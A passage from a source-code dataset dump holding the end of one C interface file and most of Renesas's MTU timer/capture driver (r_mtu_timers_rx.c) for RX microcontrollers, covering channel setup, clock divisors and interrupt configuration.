iif_func_released;\niif_func_ptr iif_func_cycleStop;\nuint32_t timerIif;\n\nvoid iif_idle(void) {}\n\nvoid iif_bind_idle(void)\n{\n\tiif_func_enter = &iif_idle;\n\tiif_func_esc = &iif_idle;\n\tiif_func_down = &iif_idle;\n\tiif_func_up = &iif_idle;\n\tiif_func_left = &iif_idle;\n\tiif_func_right = &iif_idle;\n\tiif_func_zdown = &iif_idle;\n\tiif_func_zup = &iif_idle;\n\tiif_func_released = &iif_idle;\n\tiif_func_cycleStop = &iif_idle;\n}\n\n\n" }, { "alpha_fraction": 0.5202469229698181, "alphanum_fraction": 0.5248909592628479, "avg_line_length": 39.731258392333984, "blob_id": "ad2ce3d730944f4e17a07ec77f4f0d0a43042525", "content_id": "1989ad15af6fe495ecae73a4b73a1b4251aa1095", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 35314, "license_type": "no_license", "max_line_length": 120, "num_lines": 867, "path": "/r_mtu_rx/src/r_mtu_timers_rx.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/***********************************************************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No \n* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all \n* applicable laws, including copyright laws. \n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY, \n* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM \n* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES \n* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS \n* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of \n* this software. By using this software, you agree to the additional terms and conditions found by accessing the \n* following link:\n* http://www.renesas.com/disclaimer \n*\n* Copyright (C) 2014 Renesas Electronics Corporation. All rights reserved.\n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* File Name : r_mtu_timers_rx.c\n* Device(s) : RX Family\n* Tool-Chain : Renesas RX Standard Toolchain 1.02+\n* OS : None\n* H/W Platform :\n* Description : Functions for using MTU on RX devices.\n************************************************************************************************************************\n* History : DD.MM.YYYY Version Description \n* : 30.09.2014 1.00 First Release\n***********************************************************************************************************************/\n/***********************************************************************************************************************\nIncludes <System Includes> , \"Project Includes\"\n***********************************************************************************************************************/\n#include \"platform.h\"\n#include \"r_mtu_rx_if.h\"\n/* Internal definitions. */\n#include \"r_mtu_rx_private.h\"\n\n/***********************************************************************************************************************\nPrivate local function declarations\n***********************************************************************************************************************/\n\n/***********************************************************************************************************************\nAPI function definitions\n***********************************************************************************************************************/\n#if MTU_CFG_USE_TIMER == 1\n/***********************************************************************************************************************\n* Function Name: R_MTU_Timer_Open\n* Description : This function applies power to the MTU channel,\n* initializes the associated registers to prepare for compare/match timer operations,\n* and applies user-configurable options.\n* Arguments : channel -\n* Number of the MTU channel to be initialized\n* pconfig -\n* Pointer to MTU channel configuration data structure.\n* pcallback -\n* Pointer to function called from interrupt\n* Return Value : MTU_SUCCESS-\n* Successful; channel initialized\n* MTU_TIMERS_ERR_BAD_CHAN-\n* Channel number is invalid for part\n* MTU_TIMERS_ERR_CH_NOT_CLOSED-\n* Channel currently in operation; Perform R_MTU_Close() first\n* MTU_TIMERS_ERR_NULL_PTR-\n* pconfig pointer is NULL\n* MTU_ERR_ARG_RANGE-\n* The pconfig structure contains a value that exceeds limits.\n* MTU_TIMERS_ERR_INVALID_ARG-\n* An element of the pconfig structure contains an invalid value.\n* MTU_TIMERS_ERR_LOCK-\n* The lock could not be acquired. The channel is busy.\n***********************************************************************************************************************/\nmtu_err_t R_MTU_Timer_Open (mtu_channel_t channel,\n mtu_timer_chnl_settings_t *pconfig,\n void (*pcallback)(void *pdata))\n{\n mtu_handle_t my_handle;\n bool result;\n uint8_t pclk_divisor_index;\n uint16_t pclk_divisor;\n uint8_t tcr_bits = 0;\n uint16_t tgr_value;\n uint32_t cycle_freq;\n uint32_t i;\n uint8_t * p_byte1;\n uint8_t * p_byte2;\n\n #if MTU_CFG_REQUIRE_LOCK == 1\n bool lock_result = false;\n #endif\n\n #if MTU_CFG_PARAM_CHECKING_ENABLE == 1\n if (MTU_CHANNEL_MAX <= channel) // First check for channel number out of range\n {\n return MTU_ERR_BAD_CHAN;\n }\n\n if (NULL == g_mtu_handles[channel]) // Now check that channel has been configured for build\n {\n return MTU_ERR_BAD_CHAN;\n }\n\n if (NULL == pconfig)\n {\n return MTU_ERR_NULL_PTR;\n }\n\n /* Check to see if the peripheral has already been initialized. */\n if (g_mtu_channel_mode[channel])\n {\n return MTU_ERR_CH_NOT_CLOSED; // This channel has already been initialized.\n }\n\n if ((MTU_CHANNEL_1 == channel) || (MTU_CHANNEL_2 == channel))\n {\n if((MTU_ACTION_NONE != pconfig->timer_c.actions.do_action)\n && (MTU_ACTION_NONE != pconfig->timer_d.actions.do_action))\n {\n return MTU_ERR_INVALID_ARG; // Resource not present on these channels.\n }\n }\n\n /* Check counter clearing source */\n switch (pconfig->clear_src)\n {\n case MTU_CLR_DISABLED:\n case MTU_CLR_TGRA:\n case MTU_CLR_TGRB:\n case MTU_CLR_TGRC:\n case MTU_CLR_TGRD:\n case MTU_CLR_SYNC:\n { /* Find the bits to set this in the table. Not all channels have this setting. */\n if(MTU_NOT_SUPP == g_chnl_clear_src[channel][pconfig->clear_src])\n {\n return MTU_ERR_INVALID_ARG; // Not supported by this channel\n }\n }\n break;\n default:\n {\n return MTU_ERR_INVALID_ARG;\n }\n }\n #endif // MTU_CFG_PARAM_CHECKING_ENABLE\n\n #if MTU_CFG_REQUIRE_LOCK == 1\n /* Attempt to acquire lock for this MTU channel. Prevents reentrancy conflict. */\n lock_result = R_BSP_HardwareLock((mcu_lock_t)(BSP_LOCK_MTU0 + channel));\n\n if(false == lock_result)\n {\n return MTU_ERR_LOCK; // The R_MTU_Timer_Create function is currently locked.\n }\n #endif\n\n my_handle = g_mtu_handles[channel];\n\n /* Save a copy of the user's config structure into local channel settings. */\n p_byte1 = (uint8_t *)pconfig;\n p_byte2 = (uint8_t *)my_handle->p_mtu_chnl_tmr_settings;\n\n for (i = 0; i < sizeof(mtu_timer_chnl_settings_t); i++)\n {\n \tp_byte2[i] = p_byte1[i];\n }\n\n tcr_bits = g_chnl_clear_src[channel][pconfig->clear_src]; // Select counter clearing source.\n g_mtu_channel_clr_src[channel] = pconfig->clear_src; // Keep a global copy for ISRs.\n\n /* ICU settings. */\n mtu_interrupts_disable(channel);\n mtu_interrupts_clear(channel);\n *my_handle->regs.ipr = my_handle->priority; // Set the priority register from config.h value.\n\n power_on_off(MTU_POWER_ON); // Make sure MTU channel is powered on.\n\n mtu_channel_clear(channel); // Clear the registers and state variables for channel.\n\n switch (pconfig->clock_src.source) // Select counter clock source\n {\n case MTU_CLK_SRC_INTERNAL:\n {\n /* Calculate the clock pre-scaler based on timer that has the longest period. */\n cycle_freq = 0xFFFFFFFF; // Seed\n\n if (MTU_ACTION_NONE != pconfig->timer_a.actions.do_action)\n {\n cycle_freq = pconfig->timer_a.freq;\n }\n if ((MTU_ACTION_NONE != pconfig->timer_b.actions.do_action) && (cycle_freq > pconfig->timer_b.freq))\n {\n cycle_freq = pconfig->timer_b.freq;\n }\n if ((MTU_ACTION_NONE != pconfig->timer_c.actions.do_action) && (cycle_freq > pconfig->timer_c.freq))\n {\n cycle_freq = pconfig->timer_c.freq;\n }\n if ((MTU_ACTION_NONE != pconfig->timer_d.actions.do_action) && (cycle_freq > pconfig->timer_d.freq))\n {\n cycle_freq = pconfig->timer_d.freq;\n }\n\n if (0 == cycle_freq) // don't allow 0 frequency.\n {\n #if MTU_CFG_REQUIRE_LOCK == 1\n R_BSP_HardwareUnlock((mcu_lock_t)(BSP_LOCK_MTU0 + channel));\n #endif\n return MTU_ERR_INVALID_ARG;\n }\n\n /* calculate clock divisor based on target frequency or period. */\n result = mtu_calc_clock_divisor(channel, &pclk_divisor_index, cycle_freq);\n\n if(true == result)\n {\n tcr_bits |= g_chnl_clk_divs[channel][pclk_divisor_index]; // Save divisor bits for later.\n pclk_divisor = g_mtu_clock_divisors[pclk_divisor_index];\n }\n else\n {\n #if MTU_CFG_REQUIRE_LOCK == 1\n R_BSP_HardwareUnlock((mcu_lock_t)(BSP_LOCK_MTU0 + channel));\n #endif\n return MTU_ERR_ARG_RANGE; // Could not obtain requested frequency.\n }\n }\n break;\n\n /* Other than internal clocking source: */\n case MTU_CLK_SRC_EXT_MTCLKA:\n case MTU_CLK_SRC_EXT_MTCLKB:\n case MTU_CLK_SRC_EXT_MTCLKC:\n case MTU_CLK_SRC_EXT_MTCLKD:\n case MTU_CLK_SRC_CASCADE:\n { /* Find the bits to set this in the table. Not all channels have this setting. */\n if(MTU_NOT_SUPP != g_chnl_ext_clks[channel][pconfig->clock_src.source])\n {\n tcr_bits |= g_chnl_ext_clks[channel][pconfig->clock_src.source];\n }\n else\n {\n #if MTU_CFG_REQUIRE_LOCK == 1\n R_BSP_HardwareUnlock((mcu_lock_t)(BSP_LOCK_MTU0 + channel));\n #endif\n return MTU_ERR_INVALID_ARG; // Not supported by this channel\n }\n }\n break;\n\n default:\n {\n #if MTU_CFG_REQUIRE_LOCK == 1\n R_BSP_HardwareUnlock((mcu_lock_t)(BSP_LOCK_MTU0 + channel));\n #endif\n return MTU_ERR_INVALID_ARG;\n }\n }\n\n tcr_bits |= pconfig->clock_src.clock_edge; // Set clock active edge.\n *my_handle->regs.tcr = tcr_bits; // Copy the completed setting to the TCR register.\n\n /* Set the compare/match operation register values for each TGR being used for this channel. */\n if(MTU_ACTION_NONE != pconfig->timer_a.actions.do_action) // MTU_ACTION_NONE means this timer event not used.\n {\n if(MTU_CLK_SRC_INTERNAL == pconfig->clock_src.source)\n {\n /* Set compare match register with the value calculated from requested frequency. */\n tgr_value = mtu_calc_tgr_ticks(pclk_divisor, pconfig->timer_a.freq);\n\n if(0 != tgr_value)\n {\n *my_handle->regs.tgra = tgr_value;\n }\n else\n {\n #if MTU_CFG_REQUIRE_LOCK == 1\n R_BSP_HardwareUnlock((mcu_lock_t)(BSP_LOCK_MTU0 + channel));\n #endif\n return MTU_ERR_ARG_RANGE; // Could not obtain requested frequency.\n }\n }\n else\n {\n *(my_handle->regs.tgra) = pconfig->timer_a.freq; // External clock source. Use freq as direct TGR count.\n }\n\n /* Set up actions to perform on compare match. */\n if(MTU_ACTION_OUTPUT & pconfig->timer_a.actions.do_action) // Output to a pin\n {\n *my_handle->regs.tiorh |= pconfig->timer_a.actions.output; // Set bits in lower nibble\n\n #ifndef BSP_MCU_RX110\n if (MTU_CHANNEL_4 == channel)\n {\n MTU.TOER.BIT.OE4A = 1; // Must also turn on Timer Output Master Enable Register for this channel.\n }\n #endif\n }\n\n /* Set up actions to perform on compare match. */\n if((MTU_ACTION_INTERRUPT & pconfig->timer_a.actions.do_action)\n || (MTU_ACTION_CALLBACK & pconfig->timer_a.actions.do_action)) // Request an interrupt\n {\n g_mtu_tgi_icu_en_flags[channel][MTU_TIMER_A] = 1; // Set a software control flag\n\n if (MTU_ACTION_CALLBACK & pconfig->timer_a.actions.do_action)\n {\n g_mtu_tgr_callbacks[channel][MTU_TIMER_A] = 1; // Do the callback for this interrupt.\n }\n }\n\n if (MTU_ACTION_TRIGGER_ADC & pconfig->timer_a.actions.do_action)\n {\n \t*my_handle->regs.tier |= MTU_ADC_TRIG; // Set ADC TTGE trigger bit in MTU register.\n }\n\n *my_handle->regs.tier |= MTU_TGIEA; // Always set interrupt enable bit in MTU register.\n\n /* Set repeat mode if option selected and this TGR is clear source.*/\n if((MTU_ACTION_REPEAT & pconfig->timer_a.actions.do_action) && (MTU_CLR_TGRA == pconfig->clear_src))\n {\n g_mtu_channel_repeats[channel] = 1; // Continuous running\n }\n }\n\n if(MTU_ACTION_NONE != pconfig->timer_b.actions.do_action) // MTU_ACTION_NONE means this timer event not used.\n {\n if(MTU_CLK_SRC_INTERNAL == pconfig->clock_src.source)\n {\n /* Set compare match register with the value calculated from requested frequency. */\n tgr_value = mtu_calc_tgr_ticks(pclk_divisor, pconfig->timer_b.freq);\n\n if(0 != tgr_value)\n {\n *my_handle->regs.tgrb = tgr_value;\n }\n else\n {\n #if MTU_CFG_REQUIRE_LOCK == 1\n R_BSP_HardwareUnlock((mcu_lock_t)(BSP_LOCK_MTU0 + channel));\n #endif\n return MTU_ERR_ARG_RANGE; // Could not obtain requested frequency.\n }\n }\n else\n {\n *my_handle->regs.tgrb = pconfig->timer_b.freq; // External clock source. Use freq as direct TGR count.\n }\n\n /* Set up actions to perform on compare match. */\n if(MTU_ACTION_OUTPUT & pconfig->timer_b.actions.do_action) // Output to a pin\n {\n *my_handle->regs.tiorh |= (pconfig->timer_b.actions.output << 4); // Move bits to upper nibble\n\n /* Must also turn on Timer Output Master Enable Register for these channels. */\n #ifndef BSP_MCU_RX110\n\n if (MTU_CHANNEL_3 == channel)\n {\n MTU.TOER.BIT.OE3B = 1;\n }\n\n if (MTU_CHANNEL_4 == channel)\n {\n MTU.TOER.BIT.OE4B = 1;\n }\n #endif\n }\n\n /* Set up actions to perform on compare match. */\n if((MTU_ACTION_INTERRUPT & pconfig->timer_b.actions.do_action)\n || (MTU_ACTION_CALLBACK & pconfig->timer_b.actions.do_action)) // Request an interrupt\n {\n g_mtu_tgi_icu_en_flags[channel][MTU_TIMER_B] = 1; // Set a software control flag\n\n if (MTU_ACTION_CALLBACK & pconfig->timer_b.actions.do_action)\n {\n g_mtu_tgr_callbacks[channel][MTU_TIMER_B] = 1; // Do the callback for this interrupt.\n }\n }\n\n *my_handle->regs.tier |= MTU_TGIEB; // Always set interrupt enable bit in MTU register.\n\n /* Set repeat mode if option selected and this TGR is clear source.*/\n if((MTU_ACTION_REPEAT & pconfig->timer_b.actions.do_action) && (MTU_CLR_TGRB == pconfig->clear_src))\n {\n g_mtu_channel_repeats[channel] = 1; // Continuous running\n }\n }\n\n if(MTU_ACTION_NONE != pconfig->timer_c.actions.do_action) // MTU_ACTION_NONE means this timer event not used..\n {\n if(MTU_CLK_SRC_INTERNAL == pconfig->clock_src.source)\n {\n /* Set compare match register with the value calculated from requested frequency. */\n tgr_value = mtu_calc_tgr_ticks(pclk_divisor, pconfig->timer_c.freq);\n\n if(0 != tgr_value)\n {\n *my_handle->regs.tgrc = tgr_value;\n }\n else\n {\n #if MTU_CFG_REQUIRE_LOCK == 1\n R_BSP_HardwareUnlock((mcu_lock_t)(BSP_LOCK_MTU0 + channel));\n #endif\n return MTU_ERR_ARG_RANGE; // Could not obtain requested frequency.\n }\n }\n else\n {\n *my_handle->regs.tgrc = pconfig->timer_c.freq; // External clock source. Use freq as direct TGR count.\n }\n\n /* Set up actions to perform on compare match. */\n if(MTU_ACTION_OUTPUT & pconfig->timer_c.actions.do_action) // Output to a pin\n {\n *my_handle->regs.tiorl |= pconfig->timer_c.actions.output; // Set bits in lower nibble\n\n #ifndef BSP_MCU_RX110\n if (MTU_CHANNEL_4 == channel)\n {\n MTU.TOER.BIT.OE4C = 1; // Must also turn on Timer Output Master Enable Register for this channel.\n }\n #endif\n }\n\n if((MTU_ACTION_INTERRUPT & pconfig->timer_c.actions.do_action)\n || (MTU_ACTION_CALLBACK & pconfig->timer_c.actions.do_action)) // Request an interrupt\n {\n g_mtu_tgi_icu_en_flags[channel][MTU_TIMER_C] = 1; // Set a software control flag\n\n if (MTU_ACTION_CALLBACK & pconfig->timer_c.actions.do_action)\n {\n g_mtu_tgr_callbacks[channel][MTU_TIMER_C] = 1; // Do the callback for this interrupt.\n }\n }\n\n *my_handle->regs.tier |= MTU_TGIEC; // Always set interrupt enable bit in MTU register.\n\n /* Set repeat mode if option selected and this TGR is clear source.*/\n if((MTU_ACTION_REPEAT & pconfig->timer_c.actions.do_action) && (MTU_CLR_TGRC == pconfig->clear_src))\n {\n g_mtu_channel_repeats[channel] = 1; // Continuous running\n }\n }\n\n if(MTU_ACTION_NONE != pconfig->timer_d.actions.do_action) // MTU_ACTION_NONE means this timer event not used.\n {\n if(MTU_CLK_SRC_INTERNAL == pconfig->clock_src.source)\n {\n /* Set compare match register with the value calculated from requested frequency. */\n tgr_value = mtu_calc_tgr_ticks(pclk_divisor, pconfig->timer_d.freq);\n\n if(0 != tgr_value)\n {\n *my_handle->regs.tgrd = tgr_value;\n }\n else\n {\n #if MTU_CFG_REQUIRE_LOCK == 1\n R_BSP_HardwareUnlock((mcu_lock_t)(BSP_LOCK_MTU0 + channel));\n #endif\n return MTU_ERR_ARG_RANGE; // Could not obtain requested frequency.\n }\n }\n else\n {\n *my_handle->regs.tgrd = pconfig->timer_d.freq; // External clock source. Use freq as direct TGR count.\n }\n\n /* Set up actions to perform on compare match. */\n if(MTU_ACTION_OUTPUT & pconfig->timer_d.actions.do_action) // Output to a pin\n {\n *my_handle->regs.tiorl |= (pconfig->timer_d.actions.output << 4); // Move bits to upper nibble\n\n #ifndef BSP_MCU_RX110\n /* Must also turn on Timer Output Master Enable Register for these channels. */\n if (MTU_CHANNEL_3 == channel)\n {\n MTU.TOER.BIT.OE3D = 1;\n }\n if (MTU_CHANNEL_4 == channel)\n {\n MTU.TOER.BIT.OE4D = 1;\n }\n #endif\n }\n\n if((MTU_ACTION_INTERRUPT & pconfig->timer_d.actions.do_action)\n || (MTU_ACTION_CALLBACK & pconfig->timer_d.actions.do_action)) // Request an interrupt\n {\n g_mtu_tgi_icu_en_flags[channel][MTU_TIMER_D] = 1; // Set a software control flag\n\n if (MTU_ACTION_CALLBACK & pconfig->timer_d.actions.do_action)\n {\n g_mtu_tgr_callbacks[channel][MTU_TIMER_D] = 1; // Do the callback for this interrupt.\n }\n }\n\n *my_handle->regs.tier |= MTU_TGIED; // Always set interrupt enable bit in MTU register.\n\n /* Set repeat mode if option selected and this TGR is clear source.*/\n if((MTU_ACTION_REPEAT & pconfig->timer_d.actions.do_action) && (MTU_CLR_TGRD == pconfig->clear_src))\n {\n g_mtu_channel_repeats[channel] = 1; // Continuous running\n }\n }\n\n g_mtu_channel_mode[channel] = MTU_MODE_COMPARE_MATCH; // Tag the channel is in use for compare match.\n g_num_channels_in_use++; // Add this channel to the count.\n *g_mtu_handles[channel]->p_callback = pcallback;\n\n #if MTU_CFG_REQUIRE_LOCK == 1\n R_BSP_HardwareUnlock((mcu_lock_t)(BSP_LOCK_MTU0 + channel));\n #endif\n\n return MTU_SUCCESS; // Ready to start count operation now with a start command.\n}\n/* end of function R_MTU_Timer_Open(). */\n#endif\n\n\n#if MTU_CFG_USE_CAPTURE == 1\n/***********************************************************************************************************************\n* Function Name: R_MTU_Capture_Open\n* Description : This function applies power to the MTU channel,\n* initializes the associated registers,\n* applies user-configurable options,\n* and provides the channel handle for use with other API functions.\n* Arguments : channel -\n* Number of the MTU channel to be initialized\n* pconfig -\n* Pointer to MTU channel configuration data structure.\n* pcallback -\n* Pointer to function called from interrupt\n* Return Value : MTU_SUCCESS-\n* Successful; channel initialized\n* MTU_TIMERS_ERR_BAD_CHAN-\n* Channel number is invalid for part\n* MTU_TIMERS_ERR_CH_NOT_CLOSED-\n* Channel currently in operation; Perform R_MTU_Close() first\n* MTU_TIMERS_ERR_NULL_PTR-\n* pconfig pointer is NULL\n* MTU_TIMERS_ERR_INVALID_ARG-\n* An element of the pconfig structure contains an invalid value.\n* MTU_TIMERS_ERR_LOCK-\n* The lock could not be acquired. The channel is busy.\n***********************************************************************************************************************/\nmtu_err_t R_MTU_Capture_Open (mtu_channel_t channel,\n mtu_capture_chnl_settings_t *pconfig,\n void (*pcallback)(void *pdata))\n{\n mtu_handle_t my_handle;\n uint8_t tcr_bits = 0;\n\n #if MTU_CFG_REQUIRE_LOCK == 1\n bool lock_result = false;\n #endif\n\n #if MTU_CFG_PARAM_CHECKING_ENABLE == 1\n if (MTU_CHANNEL_MAX <= channel) // First check for channel number out of range\n {\n return MTU_ERR_BAD_CHAN;\n }\n\n if (NULL == g_mtu_handles[channel]) // Now check that channel has been configured for build\n {\n return MTU_ERR_BAD_CHAN;\n }\n\n if (NULL == pconfig)\n {\n return MTU_ERR_NULL_PTR;\n }\n\n /* Check to see if the peripheral has already been initialized. */\n if (g_mtu_channel_mode[channel])\n {\n return MTU_ERR_CH_NOT_CLOSED; // This channel has already been initialized.\n }\n\n if ((MTU_CHANNEL_1 == channel) || (MTU_CHANNEL_2 == channel))\n {\n if((MTU_ACTION_NONE != pconfig->capture_c.actions) && (MTU_ACTION_NONE != pconfig->capture_d.actions))\n {\n return MTU_ERR_INVALID_ARG; // Resource not present on these channels.\n }\n }\n\n /* Check counter clearing source for capture. */\n switch (pconfig->clear_src)\n {\n case MTU_CLR_DISABLED:\n case MTU_CLR_TGRA:\n case MTU_CLR_TGRB:\n case MTU_CLR_TGRC:\n case MTU_CLR_TGRD:\n case MTU_CLR_SYNC:\n { /* Find the bits to set this in the table. Not all channels have this setting. */\n if(MTU_NOT_SUPP == g_chnl_clear_src[channel][pconfig->clear_src])\n {\n return MTU_ERR_INVALID_ARG; // Not supported by this channel\n }\n }\n break;\n default:\n {\n return MTU_ERR_INVALID_ARG;\n }\n }\n #endif // MTU_CFG_PARAM_CHECKING_ENABLE\n\n #if MTU_CFG_REQUIRE_LOCK == 1\n /* Attempt to acquire lock for this MTU channel. Prevents reentrancy conflict. */\n lock_result = R_BSP_HardwareLock((mcu_lock_t)(BSP_LOCK_MTU0 + channel));\n\n if(false == lock_result)\n {\n return MTU_ERR_LOCK; /* The R_MTU_Timer_Create function is currently locked. */\n }\n #endif\n\n my_handle = g_mtu_handles[channel];\n\n mtu_interrupts_disable(channel);\n mtu_interrupts_clear(channel);\n *my_handle->regs.ipr = my_handle->priority; // Set the priority register from config.h value.\n\n power_on_off(MTU_POWER_ON); // Make sure channel is powered on.\n\n mtu_channel_clear(channel);\n\n tcr_bits = g_chnl_clear_src[channel][pconfig->clear_src]; // Select counter clearing source for capture.\n g_mtu_channel_clr_src[channel] = pconfig->clear_src; // Keep a global copy for ISRs.\n\n switch (pconfig->clock_src.source) // Select counter clock source\n {\n case MTU_CLK_SRC_INTERNAL:\n {\n /* Only internal clock (PCLK) can be scaled with a divisor. */\n switch (pconfig->clock_div)\n {\n case MTU_SRC_CLK_DIV_1:\n case MTU_SRC_CLK_DIV_4:\n case MTU_SRC_CLK_DIV_16:\n case MTU_SRC_CLK_DIV_64:\n case MTU_SRC_CLK_DIV_256:\n case MTU_SRC_CLK_DIV_1024:\n {\n /* Find the bits to set this in the table. Not all channels have this setting. */\n if(MTU_NOT_SUPP != g_chnl_clk_divs[channel][pconfig->clock_div])\n {\n /* Set the clock divisor. */\n tcr_bits |= g_chnl_clk_divs[channel][pconfig->clock_div]; // Save divisor bits for later.\n }\n else\n {\n #if MTU_CFG_REQUIRE_LOCK == 1\n R_BSP_HardwareUnlock((mcu_lock_t)(BSP_LOCK_MTU0 + channel));\n #endif\n return MTU_ERR_INVALID_ARG;\n }\n }\n break;\n default:\n {\n #if MTU_CFG_REQUIRE_LOCK == 1\n R_BSP_HardwareUnlock((mcu_lock_t)(BSP_LOCK_MTU0 + channel));\n #endif\n return MTU_ERR_INVALID_ARG;\n }\n }\n }\n break;\n\n case MTU_CLK_SRC_EXT_MTCLKA:\n case MTU_CLK_SRC_EXT_MTCLKB:\n case MTU_CLK_SRC_EXT_MTCLKC:\n case MTU_CLK_SRC_EXT_MTCLKD:\n case MTU_CLK_SRC_CASCADE:\n { /* Find the bits to set this in the table. Not all channels have this setting. */\n if(MTU_NOT_SUPP != g_chnl_ext_clks[channel][pconfig->clock_src.source])\n {\n tcr_bits |= g_chnl_ext_clks[channel][pconfig->clock_src.source];\n }\n else\n {\n #if MTU_CFG_REQUIRE_LOCK == 1\n R_BSP_HardwareUnlock((mcu_lock_t)(BSP_LOCK_MTU0 + channel));\n #endif\n return MTU_ERR_INVALID_ARG; // Not supported by this channel\n }\n }\n break;\n\n default:\n {\n #if MTU_CFG_REQUIRE_LOCK == 1\n R_BSP_HardwareUnlock((mcu_lock_t)(BSP_LOCK_MTU0 + channel));\n #endif\n return MTU_ERR_INVALID_ARG;\n }\n }\n\n tcr_bits |= pconfig->clock_src.clock_edge; // Set clock active edge.\n *my_handle->regs.tcr = tcr_bits; // Copy the completed setting to the TCR register.\n *my_handle->regs.nfcr = my_handle->filt_clk; // Set the noise filter clock source.\n\n if(MTU_ACTION_CAPTURE & pconfig->capture_a.actions)\n {\n /* Set up capture pin edge parameters. */\n *my_handle->regs.tiorh |= pconfig->capture_a.capture_edge; // Set bits in lower nibble\n\n /* Set up capture pin noise filter parameters. */\n if (true == pconfig->capture_a.filter_enable)\n {\n *my_handle->regs.nfcr |= MTU_FILT_EN_A;\n }\n else\n {\n *my_handle->regs.nfcr &= ~MTU_FILT_EN_A;\n }\n\n /* Set up actions to perform on capture event. */\n if((MTU_ACTION_INTERRUPT & pconfig->capture_a.actions)\n || (MTU_ACTION_CALLBACK & pconfig->capture_a.actions)) // Request an interrupt\n {\n g_mtu_tgi_icu_en_flags[channel][MTU_TIMER_A] = 1; // Set a software control flag\n\n if (MTU_ACTION_CALLBACK & pconfig->capture_a.actions)\n {\n g_mtu_tgr_callbacks[channel][MTU_TIMER_A] = 1; // Do the callback for this interrupt.\n }\n }\n\n if (MTU_ACTION_TRIGGER_ADC & pconfig->capture_a.actions)\n {\n \t*my_handle->regs.tier |= MTU_ADC_TRIG; // Set ADC TTGE trigger bit in MTU register.\n }\n\n *my_handle->regs.tier |= MTU_TGIEA; // Always set interrupt enable bit in MTU register.\n\n /* Set repeat mode if option selected and this TGR is clear source.*/\n if((MTU_ACTION_REPEAT & pconfig->capture_a.actions) && (MTU_CLR_TGRA == pconfig->clear_src))\n {\n g_mtu_channel_repeats[channel] = 1; // Continuous running\n }\n }\n\n if(MTU_ACTION_CAPTURE & pconfig->capture_b.actions)\n {\n /* Set up capture pin edge parameters. */\n *my_handle->regs.tiorh |= (pconfig->capture_b.capture_edge << 4); // Move bits to upper nibble\n\n /* Set up capture pin noise filter parameters. */\n if (true == pconfig->capture_b.filter_enable)\n {\n *my_handle->regs.nfcr |= MTU_FILT_EN_B;\n }\n else\n {\n *my_handle->regs.nfcr &= ~MTU_FILT_EN_B;\n }\n\n if((MTU_ACTION_INTERRUPT & pconfig->capture_b.actions)\n || (MTU_ACTION_CALLBACK & pconfig->capture_b.actions)) // Request an interrupt\n {\n g_mtu_tgi_icu_en_flags[channel][MTU_TIMER_B] = 1; // Set a software control flag\n\n if (MTU_ACTION_CALLBACK & pconfig->capture_b.actions)\n {\n g_mtu_tgr_callbacks[channel][MTU_TIMER_B] = 1; // Do the callback for this interrupt.\n }\n }\n\n *my_handle->regs.tier |= MTU_TGIEB; // Always set interrupt enable bit in MTU register.\n\n /* Set repeat mode if option selected and this TGR is clear source.*/\n if((MTU_ACTION_REPEAT & pconfig->capture_b.actions) && (MTU_CLR_TGRB == pconfig->clear_src))\n {\n g_mtu_channel_repeats[channel] = 1; // Continuous running\n }\n }\n\n if(MTU_ACTION_CAPTURE & pconfig->capture_c.actions) // Non-zero value means use this timer TGR. Zero means not used.\n {\n /* Set up capture pin edge parameters. */\n *my_handle->regs.tiorl |= pconfig->capture_c.capture_edge; // Set bits in lower nibble\n\n /* Set up capture pin noise filter parameters. */\n if (true == pconfig->capture_c.filter_enable)\n {\n *my_handle->regs.nfcr |= MTU_FILT_EN_C;\n }\n else\n {\n *my_handle->regs.nfcr &= ~MTU_FILT_EN_C;\n }\n\n if((MTU_ACTION_INTERRUPT & pconfig->capture_c.actions)\n || (MTU_ACTION_CALLBACK & pconfig->capture_c.actions)) // Request an interrupt\n {\n g_mtu_tgi_icu_en_flags[channel][MTU_TIMER_C] = 1; // Set a software control flag\n\n if (MTU_ACTION_CALLBACK & pconfig->capture_c.actions)\n {\n g_mtu_tgr_callbacks[channel][MTU_TIMER_C] = 1; // Do the callback for this interrupt.\n }\n }\n\n *my_handle->regs.tier |= MTU_TGIEC; // Always set interrupt enable bit in MTU register.\n\n /* Set repeat mode if option selected and this TGR is clear source.*/\n if((MTU_ACTION_REPEAT & pconfig->capture_c.actions) && (MTU_CLR_TGRC == pconfig->clear_src))\n {\n g_mtu_channel_repeats[channel] = 1; // Continuous running\n }\n }\n\n if(MTU_ACTION_CAPTURE & pconfig->capture_d.actions) // Non-zero value = use this timer TGR. Zero = not used.\n {\n /* Set up capture pin edge parameters. */\n *my_handle->regs.tiorl &= 0x0F; // First clear the upper nibble.\n *my_handle->regs.tiorl |= (pconfig->capture_d.capture_edge << 4); // Move bits to upper nibble\n\n /* Set up capture pin noise filter parameters. */\n if (true == pconfig->capture_d.filter_enable)\n {\n *my_handle->regs.nfcr |= MTU_FILT_EN_D;\n }\n else\n {\n *my_handle->regs.nfcr &= ~MTU_FILT_EN_D;\n }\n\n if((MTU_ACTION_INTERRUPT & pconfig->capture_d.actions)\n || (MTU_ACTION_CALLBACK & pconfig->capture_d.actions)) // Request an interrupt\n {\n g_mtu_tgi_icu_en_flags[channel][MTU_TIMER_D] = 1; // Set a software control flag\n\n if (MTU_ACTION_CALLBACK & pconfig->capture_d.actions)\n {\n 